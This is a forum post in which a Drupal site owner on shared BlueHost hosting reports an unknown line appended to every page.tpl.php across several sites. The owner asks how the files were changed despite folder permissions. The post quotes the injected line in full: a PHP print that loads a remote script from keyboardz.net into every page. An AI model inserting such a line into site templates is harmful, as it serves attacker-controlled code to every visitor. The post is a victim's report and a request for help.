I discovered some strange code added to the end of my page.tpl.php files - ALL of them - multiple sites, multiple themes, running D6 and D7. This was done on the server copy (the code was NOT in my local copy). Here's what had been added...
@print("<script src="http://keyboardz.net/templates/css/rIynydwz.php" ></script>");
A Google of "keyboardz.net" returned many hits, some in Russian, others in English - having to do with musical keyboards and such. Clicking any of those links shows a WSOD. I then Googled the "rIynydwz.php" part of the URL. I was taken to a site that seemed totally unrelated to the keyboardz.net site. I then saw a link to a forum post (http://www.cpothemes.com/forums/topic/help-strange-code-appearing-across...) where someone else is having the same problem. This post was dated 3 Aug (yesterday as I write this). I then realized that the first unrelated site in my search probably has the same problem and that string has been "found" by Google's search engine. No telling how many others are out there that haven't yet been picked up by search Engine's.
My questions are...
--- Has anyone else encountered this problem?
--- How could these files be modified in ALL my themes, in ALL my sites, for D6 and D7 - when the permissions for those folders (on the server) *should* have prevented it?
And, btw, I'm on a shared server with BlueHost.